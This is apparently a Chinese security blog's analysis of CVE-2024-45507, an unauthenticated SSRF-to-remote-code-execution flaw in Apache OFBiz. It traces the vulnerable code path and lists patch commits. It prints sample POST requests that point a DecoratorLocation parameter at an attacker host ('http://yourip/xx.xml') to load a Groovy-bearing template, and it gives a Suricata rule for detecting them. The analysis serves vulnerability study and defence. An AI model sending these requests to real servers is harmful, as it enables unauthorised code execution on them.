Apache OFBiz SSRF to RCE(CVE-2024-45507) 漏洞分析

2024-09-28 17 0

1.前言

漏洞名称:Apache OFBiz SSRF to RCE

漏洞影响:version < 18.12.16

CVE:CVE-2024-45507

据互联网上相关OFBiz漏洞PoC陆续公开,趁热拿url调试分析一下漏洞原理。

2.环境搭建

复现版本:18.12.12

执行如下代码进行下载和启动OFBiz:

wget https://github.com/apache/ofbiz-framework/archive/refs/tags/release18.12.12.tar.gz
./gradlew ofbizDebug

3.漏洞分析

以/webtools/control/main/findTemporalExpression 举例,访问并断点RequestHandler#resolveURI的处理逻辑如图1所示。

Apache OFBiz SSRF to RCE(CVE-2024-45507) 漏洞分析插图

图1 RequestHandler#resolveURI

getOverrideViewUri具体实现如下,将path用/分成两部分,并取第二部分作为nextPage,如图2所示。

Apache OFBiz SSRF to RCE(CVE-2024-45507) 漏洞分析插图1

图2 getOverrideViewUri

然后判断requestMapMap是否存在requestUri,以及viewMapMap是否存在viewUri,符合上述条件则返回requestUri所对应的配置,如图3所示。

Apache OFBiz SSRF to RCE(CVE-2024-45507) 漏洞分析插图2

图3 RequestHandler#resolveURI 判断逻辑

后续根据获取的rmaps的配置来反射调用相关函数,并根据其返回值再判断其后续调用,例如login路由对应LoginWorker#login方法,返回的三种不同的值:success、requirePasswordChange、error,如图4所示。

Apache OFBiz SSRF to RCE(CVE-2024-45507) 漏洞分析插图3

图4 rmaps 返回值

接着根据返回值,传递给eventReturn,再通过eventReturn值来确定renderView函数传递的viewName是overrideViewUri还是nextRequestResponse.value,overrideViewUri也就是前面提到的getOverrideViewUri方法获取的值,如图5所示。

Apache OFBiz SSRF to RCE(CVE-2024-45507) 漏洞分析插图4

图5 通过eventReturn值进行判断

所以为了成功调用到findTemporalExpression,保证图 5中的eventReturn为true即可,经测试,如果对应的路由为main、forgotPassword均可使其返回true,得出:如下路由均可在未授权情况下处理findTemporalExpression。

/webtools/control/main/findTemporalExpression
/webtools/control/forgotPassword/findTemporalExpression

继续跟进renderView,renderView方法主要实现了如下功能:

1、通过viewName的值在controller.xml获取相应的xml配置,获取结果如图6所示。

Apache OFBiz SSRF to RCE(CVE-2024-45507) 漏洞分析插图5

图6 通过viewName值获取相应配置

指向的TempExprScreens.xml配置文件中可以看到,通过parameters参数传递tempExprDecoratorLocation作为location的值,后续会用到这个值,如图7所示。

Apache OFBiz SSRF to RCE(CVE-2024-45507) 漏洞分析插图6

图7 TempExprScreens.xml

2、将viewMap.page作为nextPage,并继续调用render方法。

vh.render(view, nextPage, viewMap.info, contentType, charset, req, resp);

然后继续调用多个render进行解析,如图8:

Apache OFBiz SSRF to RCE(CVE-2024-45507) 漏洞分析插图7

图8 调用render方法

继续跟进到DecoratorScreen#renderWidgetString中调用this.getLocation方法解析模板获取parameters参数,如图9所示。

Apache OFBiz SSRF to RCE(CVE-2024-45507) 漏洞分析插图8

图9 DecoratorScreen#renderWidgetString

this.getLocation方法代码如下,所以这里可以通过url传递tempExprDecoratorLocation参数来指定location,如图10所示。

Apache OFBiz SSRF to RCE(CVE-2024-45507) 漏洞分析插图9

图10 this.getLocation

ScreenFactory.java#getScreenFromLocation后续获取url的配置内容当作模板解析,如图11所示。

Apache OFBiz SSRF to RCE(CVE-2024-45507) 漏洞分析插图10

图11 ScreenFactory.java#getScreenFromLocation

调用栈如下:

getScreenFromLocation:100, ScreenFactory (org.apache.ofbiz.widget.model)
renderReferencedScreen:192, ScreenFactory (org.apache.ofbiz.widget.model)
renderWidgetString:876, ModelScreenWidget$DecoratorScreen (org.apache.ofbiz.widget.model)
renderSubWidgetsString:103, ModelScreenWidget (org.apache.ofbiz.widget.model)
renderWidgetString:285, ModelScreenWidget$Section (org.apache.ofbiz.widget.model)
renderScreenString:164, ModelScreen (org.apache.ofbiz.widget.model)
render:140, ScreenRenderer (org.apache.ofbiz.widget.renderer)
render:102, ScreenRenderer (org.apache.ofbiz.widget.renderer)
render:113, MacroScreenViewHandler (org.apache.ofbiz.widget.renderer.macro)
renderView:1066, RequestHandler (org.apache.ofbiz.webapp.control)
doRequest:741, RequestHandler (org.apache.ofbiz.webapp.control)
doGet:212, ControlServlet (org.apache.ofbiz.webapp.control)
doPost:85, ControlServlet (org.apache.ofbiz.webapp.control)
...

据如上结论,我们可以构造的请求大致如下:

POST /webtools/control/main/findTemporalExpression HTTP/1.1
Host: xx:8443
Content-Type: application/x-www-form-urlencoded

tempExprDecoratorLocation=http://yourip/xx.xml

但根据配置文件,理论上在framework/webtools/widget目录下,包含location="${parameters.字符且不为${parameters.mainDecoratorLocation}(因为mainDecoratorLocation由系统传递,会覆盖用户传递)的配置文件都满足漏洞条件,例如:TempExprScreens.xml、StatsScreens.xml(本文使用18.12.12版本进行复现,版本不同可能不太一样)

并且结合上文提到的保证图 5中的eventReturn为true即可,所以符合条件的请求不止一个:

POST /webtools/control/main/ViewMetrics HTTP/1.1
Host: xx:8443
Content-Type: application/x-www-form-urlencoded

statsDecoratorLocation=http://yourip/xx.xml
POST /webtools/control/forgotPassword/findTemporalExpression HTTP/1.1
Host: xx:8443
Content-Type: application/x-www-form-urlencoded

tempExprDecoratorLocation=http://yourip/xx.xml

更多就不再一一举例。

4.xml内容的构造

由于指定的url会继续被当作modelScreen进行解析,所以参照代码中的写法即可构造PoC,在代码中搜索"${groovy:相关代码,照着写即可,如图12所示。

Apache OFBiz SSRF to RCE(CVE-2024-45507) 漏洞分析插图11

图12 CommonScreens.xml

5.补丁修复

1、https://github.com/apache/ofbiz-framework/commit/28f5f87ec9,对location进行校验,如图13所示。

Apache OFBiz SSRF to RCE(CVE-2024-45507) 漏洞分析插图12

图13 补丁对比

2、https://github.com/apache/ofbiz-framework/commit/9fe40f8cba8399afdfa41e8c9fd0ec61a569f2b5,对多个路由、方法进行加固鉴权,内容太多就不贴图了。

5.1 suricata防护规则

可使用如下Suricata IDS防护规则进行告警并进行相应处理:

alert http any any -> any any (msg:"Apache OFBiz未授权代码执行(CVE-2024-45507&CVE-2024-45195)";flow:established,to_server; content:"POST";http_method;http.request_body; pcre:"/(?:\b\w*DecoratorLocation\s*|DATAFILE_LOCATION|DEFINITION_IS_URL|DEFINITION_NAME)=\s*[^ ]*:\/\/[^ ]*/i""; classtype:web-application-attack;sid:2024090502;rev:1;)

6.参考链接

  1. https://github.com/apache/ofbiz-framework/commit/ffb1bc4879

  2. https://www.rapid7.com/blog/post/2024/09/05/cve-2024-45195-apache-ofbiz-unauthenticated-remote-code-execution-fixed/


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

日本数据保护要求
蓝队宝典 | 利用黑客指纹情报构建高级威胁防御战略
Kernel Stack栈溢出攻击及保护绕过
深度学习后门攻击分析与实现(二)
渗透测试 | 如何用三条命令查杀冰蝎和哥斯拉内存马
Java Filter型 Tomcat内存马

发布评论